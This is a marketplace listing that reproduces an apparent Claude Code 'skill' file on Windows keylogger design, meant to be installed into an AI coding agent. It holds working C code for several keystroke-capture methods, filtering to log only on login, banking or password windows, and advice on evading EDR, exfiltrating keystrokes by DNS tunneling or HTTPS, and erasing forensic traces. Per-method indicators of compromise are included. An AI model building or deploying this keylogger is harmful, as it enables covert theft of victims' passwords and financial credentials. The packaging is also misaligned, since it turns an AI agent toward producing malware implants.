agentsclimarketplace

Keylogger arch

Skill hypnguyen1209/offensive-claude/skills/keylogger-arch

Offensive security toolkit for Claude Code covering red team, exploit dev, AD attacks, EDR bypass, mobile pentest

Install
npx -y skills add hypnguyen1209/offensive-claude --skill keylogger-arch

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

SKILL.md

6.4 KB, as published. Nobody here has run it


name: keylogger-architecture description: Use when designing or analyzing keystroke/input capture — SetWindowsHookEx, raw input devices, ETW-based capture, kernel drivers, stealth techniques and their IOCs metadata: type: offensive phase: research kill_chain: phase: [install, actions] step: [5, 7] attck_tactics: [TA0003, TA0009] depends_on: [privesc-windows, edr-evasion] feeds_into: [red-team-ops] inputs: [target_os, edr_product] outputs: [keylogger_binary, captured_input]

Keylogger Architecture

When to Activate

  • Understanding input capture mechanisms for red team implants
  • Analyzing malware keylogging capabilities
  • EDR evasion research for input monitoring
  • Designing stealthy credential capture

Method 1: SetWindowsHookEx (WH_KEYBOARD_LL)

How It Works

// Install global low-level keyboard hook
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lParam;
        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            LogKey(kb->vkCode);
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

// MUST pump messages — hook won't fire without message loop
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}

Internal Mechanism

  1. SetWindowsHookExNtUserSetWindowsHookEx in win32k.sys
  2. Kernel creates HOOK structure, inserts at head of global hook chain
  3. Low-level hooks (WH_KEYBOARD_LL): NO DLL injection — events delivered via internal message to installing process
  4. Regular hooks (WH_KEYBOARD): DLL injected into every target process via APC

IOCs

  • Hook entry visible in !hook WinDbg command
  • Installing thread must pump messages (detectable by message queue footprint)
  • If regular hook: mapped DLL in every hooked process (VAD artifact)
  • EDR can hook user32!SetWindowsHookEx to detect installation

Method 2: RegisterRawInputDevices

How It Works

// Register for raw keyboard input — no hook chain, no DLL injection
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01;  // Generic Desktop
rid.usUsage = 0x06;      // Keyboard
rid.dwFlags = RIDEV_INPUTSINK;  // Receive input even when not foreground
rid.hwndTarget = hWnd;   // Message-only window

RegisterRawInputDevices(&rid, 1, sizeof(rid));

// In window procedure:
case WM_INPUT: {
    RAWINPUT raw;
    UINT size = sizeof(raw);
    GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &raw, &size, sizeof(RAWINPUTHEADER));
    if (raw.header.dwType == RIM_TYPEKEYBOARD) {
        LogKey(raw.data.keyboard.VKey);
    }
}

Advantages Over Hooks

  • Does NOT appear in !hook list
  • No cross-process DLL mapping
  • Invisible to most EDR "hook chain" sensors
  • No CallNextHookEx chain dependency

IOCs

  • ETW event from kernel (win32kfull.sys): EtwTraceAuditApiRegisterRawInputDevices
    • Contains PID, TID, UsagePage, Usage, Flags
    • Channel is ON by default, CANNOT be disabled without kernel patch
    • This is the strongest IOC — do not discount it
  • Process must have window station and desktop
  • Process must pump messages continuously

Method 3: GetAsyncKeyState Polling

// Simple but CPU-intensive — polls every key state
while (true) {
    for (int key = 0; key < 256; key++) {
        if (GetAsyncKeyState(key) & 0x0001) {  // Key was pressed since last check
            LogKey(key);
        }
    }
    Sleep(10);  // Reduce CPU usage
}

IOCs

  • High CPU usage from polling loop
  • Detectable by API call frequency monitoring
  • No kernel-level artifacts
  • Least stealthy but simplest to implement

Method 4: DirectInput / Raw HID Device

// Open keyboard device directly (requires admin)
HANDLE hKeyboard = CreateFile(L"\\\\?\\HID#VID_xxxx&PID_xxxx",
    GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);

// Read HID reports directly — bypasses win32k entirely
ReadFile(hKeyboard, buffer, sizeof(buffer), &bytesRead, &overlapped);
// Parse HID keyboard report (8 bytes: modifier + reserved + 6 keycodes)

IOCs

  • Requires admin/SYSTEM privileges
  • Creates IRP_MJ_READ telemetry on keyboard device
  • Bypasses all userland monitoring
  • Detectable by kernel-mode ETW or minifilter

Method 5: ETW-Based Capture (Defensive Turned Offensive)

// Subscribe to Microsoft-Windows-USB-UCX or HID ETW providers
// Capture raw USB HID events including keystrokes
// Requires admin but leaves minimal footprint

// Provider: Microsoft-Windows-USB-USBHUB3
// Events contain raw USB transfer data including HID reports

Window Title Capture (Context Filtering)

GetWindowTextA / GetForegroundWindow

// Capture which application receives keystrokes
HWND fg = GetForegroundWindow();
char title[256];
GetWindowTextA(fg, title, sizeof(title));
// Filter: only log when title contains "login", "bank", "password"

Stealthier: NtUserInternalGetWindowText

// Lower-level, less hooked by EDRs
// Defined in win32u.dll, syscall into win32kfull.sys
typedef BOOL (WINAPI *pNtUserInternalGetWindowText)(HWND, LPWSTR, INT);
pNtUserInternalGetWindowText fn = GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserInternalGetWindowText");
WCHAR title[256];
fn(hWnd, title, 256);

Stealth Techniques

Memory-Only Operation

  • Never write keystrokes to disk
  • Buffer in encrypted memory, exfiltrate periodically
  • Use sleep masking to encrypt buffer during idle

Exfiltration Methods

  • DNS tunneling (encode keystrokes in subdomain queries)
  • HTTPS POST to legitimate-looking endpoint
  • Append to legitimate application traffic (piggyback)
  • Store in registry/ADS, retrieve separately

Anti-Forensics

  • Encrypt keystroke buffer with session key
  • Overwrite buffer after exfiltration
  • No persistent artifacts on disk
  • Blend process name with legitimate software

Detection Comparison

MethodStealthPrivilegesPrimary IOC
SetWindowsHookEx (LL)LowUserHook chain, message pump
SetWindowsHookEx (regular)Very LowUserDLL in every process
RegisterRawInputDevicesMediumUserETW kernel event
GetAsyncKeyStateLowUserCPU usage, API frequency
Direct HID deviceHighAdminIRP telemetry
ETW-basedHighAdminProvider subscription
Kernel driverVery HighAdmin/SYSTEMDriver load event

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.